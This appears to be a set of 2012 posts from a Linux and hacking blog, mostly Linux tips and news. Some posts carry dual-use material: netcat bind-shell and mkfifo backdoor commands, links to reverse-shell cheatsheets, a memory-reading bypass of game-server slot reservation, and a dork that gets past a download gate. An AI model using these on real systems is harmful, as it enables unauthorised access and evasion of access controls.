Linux Mint 14 "Nadia" RC Released

After 6 months of incremental development on top of stable and reliable technologies such as MATE, Cinnamon and MDM, Linux Mint 14 codenamed "Nadia" RC is available for download.

For the first time since Linux Mint 11, the development team was able to capitalize on upstream technology which works and fits its goals. After 6 months of incremental development, Linux Mint 14 features an impressive list of improvements, increased stability and a refined desktop experience. This new release comes with updated software and brings refinements and new features to make your desktop even more comfortable to use. Linux Mint 14 "Nadia" is based upon the Ubuntu 12.10 "Quantal Quetzal".



The download links (torrents and direct both) are available at this blog post.

Useful Links

Download Nadia
Nadia release notes
Whats New in Nadia


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Wappalyzer - Browser Extension To Identify Web Servers

Wappalyzer is a very useful browser extension that reveals the web technologies and server softwares used behind to empower any webpage. This extension identifies different CMS, e-commerce portals, blogging platforms, web servers, frameworks, analytic tools, etc.

This very useful browser extension is available for Mozilla Firefox and Google Chrome. It is quite useful in server fingerprinting and identification steps. Wappalyzer tracks and detects several hundred applications under several categories.

Wappalyzer for Mozilla Firefox

Wappalyzer for Google Chrome

Wappalyzer @ GitHub



Once you install the addon and reload the browser, you will see the icons for identified applications on the right side of address bar (near to the bookmark & reload icon) in Mozilla Firefox. You can click in that area for more details.

One particular setting you would like to disable is the tracking and gathering of anonymous data which is *said* to be used for research purposes. You can turn off the tracking by going to the addon's preference page. Screenshot below shows the preference page in Mozilla Firefox.

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Steam Beta For Linux Released, Use Steam Beta Right Now

Finally the steam beta was released today and is ready for beta testing by the selected 1000 beta testers who were chosen through the Steam For Linux Beta Survey. This post also provides the steps for using steam beta for other users who were not selected.

Don't worry if you were not lucky enough to get a Beta account in Steam for linux survey. Some of the Reddit users have found a way around this and non-beta account holder can use steam for linux beta.

The post from Valve Software writes:

The Valve Linux team is proud to announce the launch of a limited access beta for its new Steam for Linux client.

The Steam for Linux Beta client supports the free-to-play game Team Fortress 2. Approximately two dozen additional Steam titles are now also available for play on Ubuntu. Additionally, the Steam for Linux Beta client includes Big Picture, the mode of Steam designed for use with a TV and controller, also currently in beta.

Below are the steps you should follow in order to use steam beta in your linux. First, type the following commands in the terminal:

samar@samar-Techgaun:~$ sudo apt-get install libopenal1
samar@samar-Techgaun:~$ wget http://media.steampowered.com/client/installer/steam.deb && sudo dpkg -i steam.deb

The steam installer will then download and update the data for steam client. Once the update is finished, launch the steam from Unity dash and then login to your steam account (or create one). Close your steam client and then type the followin in terminal or just update your shortcut with following shortcut:

steam steam://open/games

Enjoy steam in your linux :)


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ImageShack and Symantec Hacked And Dumped

2012 has been a year of leaks and hacks and continues to be so. Hackers hacked into ImageShack and Symantec servers and have leaked several critical information regarding the servers and employees.

Hackers have disclosed in an e-zine that the security practices of these major companies have been a joke: In case of ImageShack, all MySQL instances as root, really old (2008) kernels, hardcode database passwords, enable register_globals, etc.

The e-zine says:

ImageShack has been completely owned, from the ground up. We have had root and physical control of every server and router they own.

Likewise, they have dumped the database of Symantec, one of the leading AV companies which includes the critical information of the researchers at Symantec.

Links

Pastebin

AnonPaste


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Bypass Slot Reservation In Counter Strike 1.6

So you are crazy about CS but your local servers are always packed and can not enter the servers due to slot reservations for admins? Don't worry, this guide will provide an insight and step by step details on how to bypass slot reservation in Amx Mod X powered servers. I checked the source code of slot reservation plugin (adminslots.sma) from AMXMODX source and found out that the admin slot plugin was executing a brute-force vulnerable randomized command at the client end. See the line of code below:

format(g_cmdLoopback, 15, "amxres%c%c%c%c", random_num('A', 'Z'), random_num('A', 'Z'), random_num('A', 'Z'), random_num('A', 'Z'))

The bruteforce space is quite small, 4 uppercase characters from A-Z i.e. 26 * 26 * 26 * 26 combination is the maximum amount of search required to find the random part of the command. Hence, the command executed at client end is amxresXXXX where {X: X belongs to [A-Z]}. If there are still slots available for normal players or if the connecting user has slot reservation privilege, he will be able to connect to the server otherwise the server will kick the user. We are not going to bruteforce but we are going to use a memory viewer and editor software that is capable of reading the contents in the memory (RAM).



Basically, we hook into the Counter Strike client process from one of the freely available memory editors. We then connect to the server and get dropped due to the slot reservation message. In the meantime, the server sends the partial-random command.. FYI, these memory viewers make use of kernel APIs such as ReadProcessMemory() to read the memory layout of any process. We search for the initial part of the string which is amxres.

Once we find the unique string sent by server to our client, we use the alias command with amxresXXXX as our alias. For your info, alias provides a mechanism to group different commands to achieve something more useful.

The syntax of alias is: alias "alias_name" "cmd1; cmd2; ...; cmdn" And here we've just created an alias "amxresXXXX" which does nothing since the commands list is missing there.

The tool I've used here is ArtMoney available for download at http://www.artmoney.ru/e_download_se.htm In case, the site goes down, you can get it from here: http://www.4shared.com/file/wm7V4pgv/artmoney740eng.html

Several similar tools exist & are available for free. Some of them are CheatEngine (http://cheatengine.org/downloads.php) and Poke (http://codefromthe70s.org/poke.aspx)

Check the video below for more information:




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Make Your Linux Read Papers For You

Fed up of reading text files and PDF papers? Is you eye power degrading day by day and can't hold even few minutes on screen? Don't worry, you can easily make your linux system speak and read all those papers for you.

There are several text to speech tools available for linux but in this post, I will be using festival, a Text-to-speech (TTS) tool written in C++. Also, Ubuntu and its derivation are most likely to include by default espeak, a multi-lingual software speech synthesizer.

For ubuntu and debian based system, type the following to install festival:

samar@samar-Techgaun:~$ sudo apt-get install festival

Moreover, you can also install a pidgin plugin that uses festival:

samar@samar-Techgaun:~$ sudo apt-get install pidgin-festival

For now, you just need to install festival. Once you have installed festival, you can make it read text files for you. If you go through the online manual of festival, it says:
"Festival works in two fundamental modes, command mode and text-to-speech mode (tts-mode). In command mode, information (in files or through standard input) is treated as commands and is interpreted by a Scheme interpreter. In tts-mode, information (in files or through standard input) is treated as text to be rendered as speech. The default mode is command mode, though this may change in later versions."

To read a text file, you can use the command below:

samar@samar-Techgaun:~$ festival --tts mypaper.txt

The festival will start in text-to-speech (tts) mode and will read your text files for you. But now, we want to read PDF files and if you try to read PDF files directly (festival --tts paper.pdf), festival is most likely to speak the cryptic terms since it actually reads the content of PDF including its header (You know PDF is different than simple text file). So we will use a pdftotext command to convert our pdf file and then pipe the output to the festival so that festival reads the PDF files for us. You can use the syntax as below to read PDF files.

samar@samar-Techgaun:~$ pdftotext paper.pdf - | festival --tts

If you want to skip all those table of contents and prefaces or if you are in the middle of PDF, you can use the switches of pdftotext to change the starting and ending pages. For example, if I wish to read page 10 - 14 of a PDF, I would do:

samar@samar-Techgaun:~$ pdftotext -f 10 -l 14 paper.pdf - | festival --tts

Enjoy learning. I hope this post helps you ;)


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CodeWeavers Announces Free CrossOver Giveaway

CodeWeavers, the developer of CrossOver has decided to run a 24-hour free giveaway for their famous wine-based product, CrossOver.

CrossOver allows you to install many popular Windows applications and PC games on your Linux computer. It's easy, affordable, and best of all, there's no Windows license required. Your Windows applications and games integrate seamlessly on your computer; just click and run. CrossOver is capable of running a wide range of Windows software and games.



On Wednesday, Oct. 31, 2012, beginning at 00:00 Central Time (-5 GMT), anyone visiting CodeWeavers’ Flock The Vote promotional web site (flock.codeweavers.com) will be able to download a free, fully functional copy of either CrossOver Mac or CrossOver Linux. Each copy comes complete with 12 months of support and product upgrades. Upon registering your name and e-mail address along with your version (CrossOver Mac or CrossOver Linux), you will get an e-mail with the instructions for download. The offer will continue for 24 hours, from 00:00 to 23:59, Oct. 31, 2012. Flock The Vote is an initiative to get more Americans to vote in the upcoming 2012 Presidential elections.

Get Free Copy Of CrossOver

Update: direct download links:

32 bit Debian/Ubuntu

64 bit Debian/Ubuntu

32/64 bit Red Hat (Fedora, SUSE, Mandriva)

Installer for all other linux distros

Mac and Others

Sandy survivors, you can still get the offer from HERE.


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Download MakeUseOf.com Guides - Google Dork

Well makeuseof.com guides are good read for the average computer users and sometimes the guide from them can be quite useful for startup in particular topic. But, I hate the ways we need to follow to download so here's a simple google dork to find PDFs from makeuseof.com



MakeUseOf.Com provides three methods to download the guides: social media sharing, 99 cent payment, and subscription to their newsletter. I hate when sites impose such things and here is how you can get those PDFs directly.

Go to google and type the following in search box:

site:amazonaws.com inurl:makeuseof.com

or, CLICK HERE!!!

Enjoy free MakeUseOf.Com guides ;)


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Download Advanced NLP Documents

In this post, you will be able to download advanced natural language processing slides and assignments that were used as the study material during the course conducted in Kathmandu University on 27^th August - 21^st September, 2012.

The course program comprised of two graduate level courses, which are itself divided up into two modules. The two courses are: 1) Advanced Linguistic Resources; 2) Advanced Applications for Natural Language Processing. The official website for the course was up for a while but seems to be down now so I decided to upload these documents for you guys.

Course 1: Advanced Resources for Natural Language Processing

Module A: Grammars and Treebanks for Syntactic Processing
(Stefanie Dipper, Univ. Bochum and Heike Zinsmeister, Univ. Stuttgart)

Syntactic preprocessing is becoming more and more important for NLP applications, such as Anaphora Resolution or Phrase-Based Statistical Machine Translation (see Course 2). This course aims at getting students acquainted with relevant state-of-the-art resources for syntactic processing, teaching them how to use and evaluate them, and enabling them to create such resources on their own. Course topics include: symbolic and statistical models for syntactic processing for NLP applications; Resources for syntactic analysis — grammars and their use in parsers; annotated corpora — constituency- and dependency-based treebanks; evaluation measures for inter-annotator agreement and system evaluation. The course will be a combination of lectures and hands-on practice in applying and developing tools for syntactic processing. The lectures are complemented by extensive hands-on exercises. Students will be encouraged to practice and create their own resources.

Module B: Word and Verb Nets for Semantic Processing
(Miriam Butt, Univ. Konstanz and Annette Hautli, Univ. Konstanz)

The course will provide an introduction to existing lexical resources for English such as WordNet, VerbNet and PropBank and why they have proven to be useful for NLE. A WordNet, VerbNet and PropBank for Hindi are currently being created as part of various projects in India, the USA and Germany and the course will use the preliminary versions of the Hindi resources to introduce students to the special structures found in South Asian languages and to discuss where different design decisions need to be made. The course will also show students why it is important to understand established linguistic categories with regard to lexical structure and lexical semantics and how that can help guide the classification and encoding of lexical information in lexical resources in a manner that will be useful to NLE.

Course 2: Advanced Applications for Natural Language Processing

Module A: Statistical Machine Translation
(Alex Fraser, Univ. Stuttgart)

The goal of the course is to have students acquire in depth knowledge of statistical machine translation methods and be familiar with the relevant iterature and an open source statistical machine translation system. The course will cover: Basic statistical modeling for machine translation; Automatic and manual evaluation of machine translation output; Bitext alignment of parallel sentence pairs; Basic phrase-based statistical machine translation models and decoding; Log-linear models and minimum error rate training; Discriminative word alignment; morphological and syntactic modeling.

Module B: Automatic Speech Recognition
(Sarmad Hussain, Univ. of Engineering and Technology)

The course will start by covering articulatory and acoustic phonetics, followed by some basis understanding of speech processing needed to separate the phonetic content from a speech signal. The course will then develop an understanding of the Baysian model for speech recognition and its implementation using Hidden Markov Models, covering both training and decoding algorithms. Finally the course will focus on practical aspects of designing, developing and labeling a speech corpus and using tool-kits to develop speech recognition models. The course will have two labs, first on acoustic phonetics and second on developing a prototype speech recognition system with limited vocabulary.

Download Course Material

Update
Thanks to Rohit Man Amatya, one of the participants of Summer School. He has written installation scripts for debian based systems and provided a list of what needs to be installed for working on the whole course. Plus the solutions for programming assignments.

Summer School @ GitHub

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Think Like A Hacker For Better Security Awareness

52% of businesses experienced more malware infections as a result of employees on social media. This whitepaper provides an insight on how to think like a hacker for better security awareness.

Security awareness is mostly about common sense, and thinking like the hackers to understand what security weaknesses they look for. But like other security precautions, it's easy to let down your guard.

Security awareness education can arm your staff with the skills to practice safe Internet usage - to reduce malware and other cyber threats. The whitepaper entitled Takes One to Know One: Think Like a Hacker for Better Security Awareness is a must read for making yourself aware of security in this digital world.

In this paper, find out:

• Best ways to deliver a security awareness program
• What you should teach your staff
• How to make security awareness a priority

Download The Whitepaper

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Steam for Linux Beta Survey Is Out

Lately, Valve Software, the vendor for steam has been showing lots of interest to develop games for linux platforms and offer linux users one of the best gaming experiences. Valve has today announced its survey for steam for linux beta.

Valve Software writes: We're looking for Linux gamers to install and test our new Steam for Linux client. We are primarily interested in experienced Linux users.



In order to take the survey, you need to first login with your Steam account to link your response with your Steam ID. Once you are ready for beta testing, you can login from this link. 1000 steam users will be chosen based upon the responses in the survey.

Steam community recently got its dedicated linux section and good for us, all these signs seem to indicate that Valve is trying to extend its market over the linux platform.


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Accelerate Your Softwares Update Speed Using Apt-fast

Long ago, I had posted about apt-fast script which used axel to create multiple HTTP connections and increase the download speed of software updates and packages. In this post, you will get the details for installing apt-fast from PPA. apt-fast is a shellscript wrapper for apt-get and aptitude that can drastically improve apt download times by downloading packages in parallel, with multiple connections per package.

As a pre-requisite, we will first install axel, a simple yet very useful command line download accelerator. Alternatively, you can also use aria accelerator with apt-fast.

samar@samar-Techgaun:~$ sudo apt-get install axel

Then you will have to add a PPA for apt-fast, update the database, and install apt-fast.

samar@samar-Techgaun:~$ sudo add-apt-repository ppa:apt-fast/stable
samar@samar-Techgaun:~$ sudo apt-get update
samar@samar-Techgaun:~$ sudo apt-get install apt-fast

You need to configure few options afterwards as below:

For manual installation and grabbing the source code, check the GitHub.

Once you install apt-fast, you can install softwares and perform updates from the repos using the command below:

samar@samar-Techgaun:~$ sudo apt-fast install package_name

I hope this becomes useful :)


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Linux Cat Command Examples

Cat is a standard unix tool to concatenate and display the content of files. In this post, I will present some examples of cat command so that you can use them in your scenario.

The cat command displays the content of file on the standard output. If multiple files are specified, the contents of all files will be concatenated and then displayed on the standard output. Likewise, if no file is specified, it will assume standard input (keyboard input) as the input to the command. The Ctrl + d is the shortcut used to save the contents in the appropriate output placeholder specified and exit the cat command.

Print content of file in standard output

samar@samar-Techgaun:~$ cat workers.txt 
List of workers, designations & salary (in K):
Kshitiz Director 30
Bikky Manager  20


Abhis Sweeper  10
Rajesh Guard  12

Print line numbers

samar@samar-Techgaun:~$ cat -n workers.txt 
     1 List of workers, designations & salary (in K):
     2 Kshitiz Director 30
     3 Bikky Manager  20
     4 
     5 
     6 Abhis Sweeper  10
     7 Rajesh Guard  12

Print line numbers for non-empty lines only

samar@samar-Techgaun:~$ cat -b workers.txt 
     1 List of workers, designations & salary (in K):
     2 Kshitiz Director 30
     3 Bikky Manager  20


     4 Abhis Sweeper  10
     5 Rajesh Guard  12

Create a new file

samar@samar-Techgaun:~$ cat > newfile.txt
We can create text files
using cat command
once u finish writing,
press ctrl+d to save file
^d

Display content of multiple files

samar@samar-Techgaun:~$ cat workers.txt newfile.txt 
List of workers, designations & salary (in K):
Kshitiz Director 30
Bikky Manager  20


Abhis Sweeper  10
Rajesh Guard  12
We can create text files
using cat command
once u finish writing,
press ctrl+d to save file

Combine multiple files to new file

samar@samar-Techgaun:~$ cat workers.txt newfile.txt > concat.txt
samar@samar-Techgaun:~$ cat concat.txt 
List of workers, designations & salary (in K):
Kshitiz Director 30
Bikky Manager  20


Abhis Sweeper  10
Rajesh Guard  12
We can create text files
using cat command
once u finish writing,
press ctrl+d to save file

Append data to existing file

samar@samar-Techgaun:~$ cat >> newfile.txt 
New line added
^d
samar@samar-Techgaun:~$ cat newfile.txt 
We can create text files
using cat command
once u finish writing,
press ctrl+d to save file
New line added

Alternatively, you can use the syntax below if you wish to create new file combining the content of already existing file and standard input.

samar@samar-Techgaun:~$ cat newfile.txt - > myfile
thanks for everything
^d
samar@samar-Techgaun:~$ cat myfile 
We can create text files
using cat command
once u finish writing,
press ctrl+d to save file
New line added
thanks for everything

Another possibility is to combine two text files with data from standard input (keyboard) in-between the contents of these two text files.

samar@samar-Techgaun:~$ cat workers.txt - newfile.txt > myfile

----------------------------------

^d
samar@samar-Techgaun:~$ cat myfile 
List of workers, designations & salary (in K):
Kshitiz Director 30
Bikky Manager  20


Abhis Sweeper  10
Rajesh Guard  12

----------------------------------

We can create text files
using cat command
once u finish writing,
press ctrl+d to save file
New line added

Display $ sign at the end of each line

samar@samar-Techgaun:~$ cat -E workers.txt 
List of workers, designations & salary (in K):$
Kshitiz Director 30$
Bikky Manager  20$
$
$
Abhis Sweeper  10$
Rajesh Guard  12$

Display ^I sign instead of TABs

samar@samar-Techgaun:~$ cat -T workers.txt 
List of workers, designations & salary (in K):
Kshitiz^IDirector^I30
Bikky^IManager^I^I20


Abhis^ISweeper^I^I10
Rajesh^IGuard^I^I12

Display files with non-printing characters

samar@samar-Techgaun:~$ cat -v /bin/nc

In the example above, the non-printing characters are replaced with ^ and M- notation except for line breaks and TABs. This can be used to display the contents of binary files which would otherwise have shown gibberish text all over the console.

Show contents with tabs, line breaks and non-printing characters

samar@samar-Techgaun:~$ cat -A /bin/nc

The tab will be substituted by ^I, line breaks with $ and non-printing characters with ^ and M- notation. Actually, the -A switch is equivalent to -vET switch.

Supress/squeeze repeated empty lines

samar@samar-Techgaun:~$ cat -s workers.txt 
List of workers, designations & salary (in K):
Kshitiz Director 30
Bikky Manager  20

Abhis Sweeper  10
Rajesh Guard  12

Using -s switch, we can squeeze repeatedly occurring blank lines and replace all the adjacent empty lines with a single empty line in the output. This might be useful to reformat a file with several empty lines in-between (eg. cat -s workers.txt > formatted_workers.txt).

Display last line first

samar@samar-Techgaun:~$ tac workers.txt 
Rajesh Guard  12
Abhis Sweeper  10

Bikky Manager  20
Kshitiz Director 30
List of workers, designations & salary (in K):

It is the tac, not the cat that is doing the magic but just thought that this is the right place to make a note about this little known command.

Edit: Added here-doc examples. Thanks rho dai for pointing me this.

Parameter substitution using here-document strings

samar@samar-Techgaun:~$ cat > test << TEST
samar@samar-Techgaun:~$ I am $USER. My home is $HOME
samar@samar-Techgaun:~$ I came here from $OLDPWD
samar@samar-Techgaun:~$ TEST
samar@samar-Techgaun:~$ cat test 
I am samar. My home is /home/samar
I came here from /home/samar/Downloads

Command expansion example

samar@samar-Techgaun:~$ cat > test << TEST
samar@samar-Techgaun:~$ $(ls /)
samar@samar-Techgaun:~$ TEST
samar@samar-Techgaun:~$ cat test
bin
boot
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
lost+found
media
mnt
opt
proc
root
run
sbin
selinux
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old

Parameter substitution turned off

samar@samar-Techgaun:~$ cat > test << 'TEST'
samar@samar-Techgaun:~$ I am $USER. My home is $HOME
samar@samar-Techgaun:~$ I came here from $OLDPWD
samar@samar-Techgaun:~$ TEST
samar@samar-Techgaun:~$ cat test
I am $USER. My home is $HOME
I came here from $OLDPWD

Note the difference between the last example and previous two examples. Enclosing the limit string TEST with quotes prevents the substitutions and expansions.

I hope these examples are useful. :)


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Happy Vijaya Dashami 2069

Techgaun team would like to wish all our site visitors happy vijaya dashami 2069. May this dashain bring peace and prosperity in everyone's life and may the world be more peaceful place than ever.

I would like to include blessings (ashirbad / आशिर्वाद) offered during Dashain.

The mantra below is enchanted when elders offer tika to male member:

आयुर द्रोण सुते श्रेयम दशरथे , सत्रुक क्षेयम रघवे, ऐश्र्वर्यम नहुशे , गतिस्च पवने, मानन्च दुर्योधने, सौर्यम शान्त नवे, बलम हलधरे , सत्यस्च कुन्तीसुते , बिज्ञ।न बिदुरे, भवन्तु भबताम, किर्तिस्च नारायणे!

Ayur Drona sute sriyem Dasarathe, Satruk ksheyam Raghave, Yaishoryem Nahushe, Gatischa pawane, Manancha Duryodhane, Suaryam Shanta nave, Balam Haldhare, Satyaschha Kuntisute, Bigyanam Bidure, Bhawanu Bhabatam, Kirtischha Narayane!

The mantra below is enchanted when the tika is offered to the female members:

ॐ जयन्ती मङ्गला काली भद्रकाली कपालिनी । दुर्गा क्ष्यमा शिवा धात्री स्वहा स्वधा नमोस्तु ते ।।

Om Jayanti Mangala Kaali Bhadra Kali Kapalini Durga Kshyama shiva dhatri swaha swadha namostu te

Happy Vijaya Dashami 2069

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Reverse Shell Backdoor Cheatsheets Collection

Once you find your way to command execution after exploiting any of the flaws in web-apps, you look for interactive shell. You can do so by binding shell in some port or using reverse shell backdoor. Here are few links with awesome backdoor cheatsheet collections for obtaining reverse shell using different scripting languages:

PentestMonkey's Cheatsheet

Bernardo's Reverse Shells One-liners

GNU Citizen

In case you can't access pentest monkey, below is the cheatsheet in PNG format:

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Ubuntu Tweak Development Will Continue

Three days ago, Ubuntu Tweak developer Tualatrix had posted a blog post mentioning that the Ubuntu Tweak will no longer be developed but he has now changed his mind and has decided to continue the development because of support he received.

The developer writes
You made me know that Ubuntu Tweak is still valuable, and as the first software project I made 5 years ago, it is just like my baby, I don’t really want to give up the development.

and thanks all the good people who left the message for him and forked the app in github.

The blog post also mentions
Back to 5 years ago, I developed it just because of my practice on Linux programming, I felt freedom when I make things on Linux (Although I didn’t have developing experience on Windows and Mac then). But now I don’t feel any freedom about developing this software any more. The initial motivation is changed, and I’m still looking for new motivation.

Overall, he is not too satisfied with his current overload for working on this personal project while still managing time for his job and personal life.

Anyway, Ubuntu Tweak 0.8.1 is out and you can download from PPA.

PPA DEB link

Release Notes


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Ninja Fu With Netcat - Hacker's Swiss Army Knife

Netcat is one of my favorite tools for network investigations and backdoor planting. Netcat is a seemingly simple but very powerful and useful tool to read and write network connections using TCP or UDP. In this post, we will see several examples of using netcat in different scenarios.

First of all, if you are using distros like Ubuntu, they are probably including the OpenBSD netcat which does not provide a very useful switch that lets us execute any command. The netcat-traditional offers this switch so for learning purpose, you should install the netcat-traditional package by issuing the command below in Ubuntu & its derivatives (However, beware of inherent risk with this feature of the traditional netcat):

samar@samar-Techgaun:~$ sudo apt-get install netcat-traditional

Now you can use both OpenBSD and traditional versions by using nc.openbsd and nc.traditional respectively. However, the nc command might still be symbolically linked with nc.openbsd (/etc/alternatives/nc). If you want to permanently use nc to refer nc.traditional, type the following command (or do sudo rm /bin/nc && sudo ln -s /bin/nc.traditional /bin/nc):

samar@samar-Techgaun:~$ sudo update-alternatives --config nc

As I had already said, netcat is a very useful tool for network related works and hence often referred as Hacker's Swiss Army Knife and TCP/IP Swiss Army Knife. You can use netcat for several purposes such as file transfer, port scanning, listen server, bind & reverse shells, backdoors, etc. Because of this, netcat has been a favorite tool for hackers to get and maintain access to the servers.

Before beginning with the examples, I would like to inform you that most of the times ports above 1024 are used to create listen servers with netcat. This is because ports below 1024 are reserved by OS for core network services and you can not bind to these ports without special privilege to the system.

Simple Netcat Listen Server

samar@samar-Techgaun:~$ nc -lvp 1234
listening on [any] 1234 ...

Simple Netcat Client

samar@samar-Techgaun:~$ nc -vvn 192.168.1.6 1234
(UNKNOWN) [192.168.1.6] 1234 (?) open

Once the client gets connected, the netcat listener might then look like this:

samar@samar-Techgaun:~$ nc -lvp 1234
listening on [any] 1234 ...
connect to [192.168.1.6] from samar-Techgaun.local [192.168.1.6] 38700

Noticed the port 38700 in the end? This is the port that the client uses to talk with the server. Observe that the value is much higher than 1024 and hence such ports are known as ephemeral port.

Once the client and server get connected, you can write anything and press ENTER. The data will get transmitted to the other end thus making netcat a data transfer tool.

Open Raw Connection With Netcat as client

samar@samar-Techgaun:~$ nc -vv ku.edu.np 80
Warning: inverse host lookup failed for 116.90.239.5: Unknown host
ku.edu.np [116.90.239.5] 80 (http) open
HEAD / HTTP/1.0\n\n

HTTP/1.1 200 OK
Date: Mon, 22 Oct 2012 04:46:49 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Connection: close
Content-Type: text/html; charset=UTF-8

sent 21, rcvd 171

As seen above, I opened the RAW connection to ku.edu.np and then issued HEAD / HTTP/1.0\n\n request to obtain the HTTP header. You can also notice (see web server version & PHP version?) that netcat can be used for basic fingerprinting and banner grabbing. Of course, this is not limited to HTTP fingerprinting. Extend the idea to work with other services.

Web Server Example Using Netcat

samar@samar-Techgaun:~/Desktop/test$ { echo -ne "HTTP/1.0 200 OK\r\nContent-Length: $(wc -c < my_file)\r\n\r\n"; cat my_file; } | nc -lv -p 8080
listening on [any] 8080 ...

This example taken from Wiki entry works as a one shot webserver hosting the my_file's content which can be accessed through web browser by specifying http://server:8080.

File Transfer Using Netcat

To transfer file from server to client, set up the server as below:

samar@samar-Techgaun:~$ cat my_file
I am DATA
samar@samar-Techgaun:~$ nc -lvp 1234 < my_file
listening on [any] 1234 ...

In the client end, do:

samar@samar-Techgaun:~$ nc -vv 192.168.1.6 1234 > output.txt
samar-Techgaun.local [192.168.1.6] 1234 (?) open
^C sent 0, rcvd 10
samar@samar-Techgaun:~$ cat output.txt
I am DATA

Port Scanning With Netcat

samar@samar-Techgaun:~$ nc -nvz -w1 192.168.1.1 1-1024
(UNKNOWN) [192.168.1.1] 80 (http) open
(UNKNOWN) [192.168.1.1] 23 (telnet) open
(UNKNOWN) [192.168.1.1] 21 (ftp) open

If you wish to scan number of hosts (or full network), you can do something like below:

samar@samar-Techgaun:~/Desktop/test$ for ip in $(seq 1 254); do nc -nvz -w1 192.168.1.$ip 1-1024; done

In the first example, ports 1-1024 are scanned in the host 192.168.1.1 and in the second example, a class C network 192.168.1.0/24 is scanned. However, netcat is by no means an advanced port scanner and tools such as nmap are great for this job.

Spawn a process

The -e switch can be specified to spawn a process in the system. In the server, type the command below:

samar@samar-Techgaun:~$ nc -lv -p 1234 -e /bin/bash
listening on [any] 1234 ...

At the other end, you will just connect to the just started netcat service and then issue any command that the bash recognizes. Good for shells in the servers, isn't it?

samar@samar-Techgaun:~$ nc -vv 192.168.1.6 1234
samar-Techgaun.local [192.168.1.6] 1234 (?) open
ls
my_file
output.txt

Netcat backdoor using mkfifo

Since the normal pipe (|) is not so reliable & works in a unidirectional fashion, linux offers something called named pipes which can be exploited to create advanced backdoor in the systems which might not consist the netcat with -e support.

samar@samar-Techgaun:~$ mkfifo /tmp/b4ck; sh /tmp/b4ck | nc -lvp 1234 > /tmp/b4ck
listening on [any] 1234 ...

At the other end, you just need to connect to the newly created netcat service port:

samar@samar-Techgaun:~$ nc -vv 192.168.1.6 1234
localhost [192.168.1.6] 1234 (?) open
ls
my_file
output.txt
sent 3, rcvd 33

I hope this post provides some directions on how to work with netcat and proves that netcat is called TCP/IP swiss army knife for the reason. There are other several possibilities with netcat. Explore to get more out of this awesome tool. ;)


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Ubuntu Studio - Ubuntu Derivation For Audio Video & Graphics Editor

Ubuntu Studio is a variant of Ubuntu aimed at the GNU/Linux audio, video and graphic enthusiast as well as professional. The distribution provides a collection of open-source applications available for multimedia creation. Ubuntu Studio is a free, open source and powerful operating system created for the creative people to create exceptional arts using right sets of tools for audio, video and graphical editing. As an officially recognized derivative of Ubuntu, Ubuntu Studio is supported by Canonical Ltd.

Ubuntu Studio is released every six months, but a long term release (LTS) version is released only every 2 years.

Audio apps include Jack, Ardour, Audacity, QTractor, Hydrogen, Yoshimi, Rakarrack, Gladish, Puredata and several other apps available for download.

Graphical apps include Blender, Inkscape, GIMP, MyPaint and several other apps.

Video apps include Openshot video editor, FFMPEG, DVDStyler, and other apps.

Photography apps include Darktable, Shotwell, and several other useful apps.

Calibre, Scribus and LibreOffice and other apps are available to suffice publishing needs.

Useful Links

Ubuntu Studio HOME

Ubuntu Studio Download

Ubuntu Studio Documentation


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Enable Auto Correction Of Path In Bash

While using the cd command, its normal to make mistakes while typing the directory path. You can enable auto-correction while typing directory path by enabling a particular shell option.

Minor spelling mistakes will be corrected automatically if the particular shell option cdspell using the SHell OPTions command invoked with shopt command.

When you enable the cdspell shell option, the errors checked for are missing characters, repeated characters, and transposed characters. Once the error is encountered, the corrected path is printed and directory is changed successfully.

samar@samar-Techgaun:~$ shopt -s cdspell
samar@samar-Techgaun:~$ cd Desktp
Desktop
samar@samar-Techgaun:~/Desktop$ cd ../Deskotp/
../Desktop/
samar@samar-Techgaun:~/Desktop$ cd ../Desktoop
../Desktop
samar@samar-Techgaun:~/Desktop$

The line shopt -s cdspell enables the auto-correction while using cd command. The session above shows some of the corrections performed once we enabled the cdspell shell option.

If you want to turn on this particular setting, then add the appropriate line using the command below:

samar@samar-Techgaun:~$ echo "shopt -s cdspell" >> ~/.bash_profile

I hope this counts as useful tips to beginner linux guys ;)


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Ubuntu Tweak Will No Longer Be Developed

Comes as a very sad news but Ubuntu Tweak developer has decided to stop the development of Ubuntu Tweak. Tualatrix Chou writes in a blog post:

" I want to stop the development and maintenance of Ubuntu Tweak. This means you will not be able to use “Apps” (Since it is a web service), I will not response for the bug report, the last commit of the code will be: Add cache support for Apps, only available in Ubuntu 12.10, so sad".

While the developer writes the reason as If making free software is not free any more, why still doing this?, I found the whole post quite cryptic.

One of his friend mentions that Ubuntu Tweak, though being a great app has not been included in the official source which is a really depressing thing.


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